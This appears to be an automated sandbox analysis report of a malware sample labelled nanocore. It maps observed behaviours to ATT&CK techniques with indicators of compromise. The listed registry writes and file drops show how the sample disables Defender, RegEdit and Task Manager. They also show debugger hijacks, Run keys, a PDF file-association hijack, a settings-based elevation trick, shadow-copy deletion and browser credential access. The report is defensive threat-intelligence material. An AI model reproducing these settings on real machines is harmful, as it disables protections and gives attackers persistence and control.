nanocore | 1fc8c00b52e0f6353257b4d3cd8885079d544e4a4ddedb45adcd567baac30638

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	transitionvision.tv_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2268	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	transitionvision.tv_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	transitionvision.tv_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	transitionvision.tv_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\transitionvision.tv_chrome.exe"	transitionvision.tv_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	transitionvision.tv_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\transitionvision.tv_chrome.exe"	transitionvision.tv_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	transitionvision.tv_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\transitionvision.tv_chrome.exe"	transitionvision.tv_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
2756	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	transitionvision.tv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf	transitionvision.tv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	transitionvision.tv_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\transitionvision.tv_chrome.exe"	transitionvision.tv_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\transitionvision.tv_chrome.exe"	transitionvision.tv_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\transitionvision.tv_chrome.exe"	transitionvision.tv_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4176	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	transitionvision.tv_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	transitionvision.tv_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	transitionvision.tv_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
400	wscript.exe
1992	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	transitionvision.tv_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	transitionvision.tv_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
884	sc.exe
636	sc.exe
6048	sc.exe
4308	sc.exe
5828	sc.exe
1992	sc.exe
5564	sc.exe
1900	sc.exe
4284	sc.exe
4160	sc.exe
1140	sc.exe
1360	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5980	cmd.exe
5900	cmd.exe
3272	cmd.exe
4636	cmd.exe
4120	cmd.exe
1932	cmd.exe
908	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4624	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
5784	NETSTAT.EXE
3740	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4572	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2376	vssadmin.exe
3944	vssadmin.exe
3076	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\WallpaperStyle = "2"	transitionvision.tv_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302257601375051"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	transitionvision.tv_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\transitionvision.tv_chrome.exe"	transitionvision.tv_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	transitionvision.tv_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	transitionvision.tv_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\DelegateExecute	transitionvision.tv_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	transitionvision.tv_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	transitionvision.tv_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	transitionvision.tv_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\transitionvision.tv_chrome.exe\" \"%1\""	transitionvision.tv_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	transitionvision.tv_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	transitionvision.tv_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	transitionvision.tv_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	transitionvision.tv_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	transitionvision.tv_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	transitionvision.tv_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	transitionvision.tv_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5736	schtasks.exe
4704	schtasks.exe
5576	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3400	chrome.exe
3400	chrome.exe
2268	powershell.exe
2268	powershell.exe
2268	powershell.exe
832	WMIC.exe
832	WMIC.exe
832	WMIC.exe
832	WMIC.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
5496	WMIC.exe
5496	WMIC.exe
5496	WMIC.exe
5496	WMIC.exe
4632	transitionvision.tv_chrome.exe
4952	WMIC.exe
4952	WMIC.exe
4952	WMIC.exe
4952	WMIC.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe
4632	transitionvision.tv_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4632	transitionvision.tv_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3400	chrome.exe
Token: SeCreatePagefilePrivilege	3400	chrome.exe
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeShutdownPrivilege	3400	chrome.exe
Token: SeCreatePagefilePrivilege	3400	chrome.exe
Token: SeShutdownPrivilege	3400	chrome.exe
Token: SeCreatePagefilePrivilege	3400	chrome.exe
Token: SeShutdownPrivilege	3400	chrome.exe
Token: SeCreatePagefilePrivilege	3400	chrome.exe
Token: SeShutdownPrivilege	3400	chrome.exe
Token: SeCreatePagefilePrivilege	3400	chrome.exe
Token: SeShutdownPrivilege	3400	chrome.exe
Token: SeCreatePagefilePrivilege	3400	chrome.exe
Token: SeIncreaseQuotaPrivilege	832	WMIC.exe
Token: SeSecurityPrivilege	832	WMIC.exe
Token: SeTakeOwnershipPrivilege	832	WMIC.exe
Token: SeLoadDriverPrivilege	832	WMIC.exe
Token: SeSystemProfilePrivilege	832	WMIC.exe
Token: SeSystemtimePrivilege	832	WMIC.exe
Token: SeProfSingleProcessPrivilege	832	WMIC.exe
Token: SeIncBasePriorityPrivilege	832	WMIC.exe
Token: SeCreatePagefilePrivilege	832	WMIC.exe
Token: SeBackupPrivilege	832	WMIC.exe
Token: SeRestorePrivilege	832	WMIC.exe
Token: SeShutdownPrivilege	832	WMIC.exe
Token: SeDebugPrivilege	832	WMIC.exe
Token: SeSystemEnvironmentPrivilege	832	WMIC.exe
Token: SeRemoteShutdownPrivilege	832	WMIC.exe
Token: SeUndockPrivilege	832	WMIC.exe
Token: SeManageVolumePrivilege	832	WMIC.exe
Token: 33	832	WMIC.exe
Token: 34	832	WMIC.exe
Token: 35	832	WMIC.exe
Token: 36	832	WMIC.exe
Token: SeBackupPrivilege	1828	vssvc.exe
Token: SeRestorePrivilege	1828	vssvc.exe
Token: SeAuditPrivilege	1828	vssvc.exe
Token: SeIncreaseQuotaPrivilege	832	WMIC.exe
Token: SeSecurityPrivilege	832	WMIC.exe
Token: SeTakeOwnershipPrivilege	832	WMIC.exe
Token: SeLoadDriverPrivilege	832	WMIC.exe
Token: SeSystemProfilePrivilege	832	WMIC.exe
Token: SeSystemtimePrivilege	832	WMIC.exe
Token: SeProfSingleProcessPrivilege	832	WMIC.exe
Token: SeIncBasePriorityPrivilege	832	WMIC.exe
Token: SeCreatePagefilePrivilege	832	WMIC.exe
Token: SeBackupPrivilege	832	WMIC.exe
Token: SeRestorePrivilege	832	WMIC.exe
Token: SeShutdownPrivilege	832	WMIC.exe
Token: SeDebugPrivilege	832	WMIC.exe
Token: SeSystemEnvironmentPrivilege	832	WMIC.exe
Token: SeRemoteShutdownPrivilege	832	WMIC.exe
Token: SeUndockPrivilege	832	WMIC.exe
Token: SeManageVolumePrivilege	832	WMIC.exe
Token: 33	832	WMIC.exe
Token: 34	832	WMIC.exe
Token: 35	832	WMIC.exe
Token: 36	832	WMIC.exe
Token: SeShutdownPrivilege	3400	chrome.exe
Token: SeCreatePagefilePrivilege	3400	chrome.exe
Token: SeShutdownPrivilege	3400	chrome.exe
Token: SeCreatePagefilePrivilege	3400	chrome.exe
Token: SeShutdownPrivilege	3400	chrome.exe
Token: SeCreatePagefilePrivilege	3400	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe
3400	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4632	transitionvision.tv_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4632 wrote to memory of 3400	4632	transitionvision.tv_chrome.exe	88
PID 3400 wrote to memory of 4128	3400	chrome.exe	89
PID 4632 wrote to memory of 2268	4632	transitionvision.tv_chrome.exe	90
PID 4632 wrote to memory of 4160	4632	transitionvision.tv_chrome.exe	92
PID 4632 wrote to memory of 1140	4632	transitionvision.tv_chrome.exe	94
PID 3400 wrote to memory of 4144	3400	chrome.exe	95
PID 3400 wrote to memory of 4144	3400	chrome.exe	95
PID 3400 wrote to memory of 4624	3400	chrome.exe	97
PID 3400 wrote to memory of 4468	3400	chrome.exe	98
PID 3400 wrote to memory of 4468	3400	chrome.exe	98
PID 3400 wrote to memory of 1936	3400	chrome.exe	101
PID 3400 wrote to memory of 1936	3400	chrome.exe	101
PID 3400 wrote to memory of 1148	3400	chrome.exe	183
PID 3400 wrote to memory of 1148	3400	chrome.exe	183
PID 4632 wrote to memory of 1360	4632	transitionvision.tv_chrome.exe	100
PID 4632 wrote to memory of 884	4632	transitionvision.tv_chrome.exe	105
PID 4632 wrote to memory of 1992	4632	transitionvision.tv_chrome.exe	132
PID 3400 wrote to memory of 5760	3400	chrome.exe	108
PID 3400 wrote to memory of 5760	3400	chrome.exe	108
PID 3400 wrote to memory of 4880	3400	chrome.exe	110
PID 3400 wrote to memory of 4880	3400	chrome.exe	110
PID 4632 wrote to memory of 636	4632	transitionvision.tv_chrome.exe	111
PID 4632 wrote to memory of 6048	4632	transitionvision.tv_chrome.exe	113
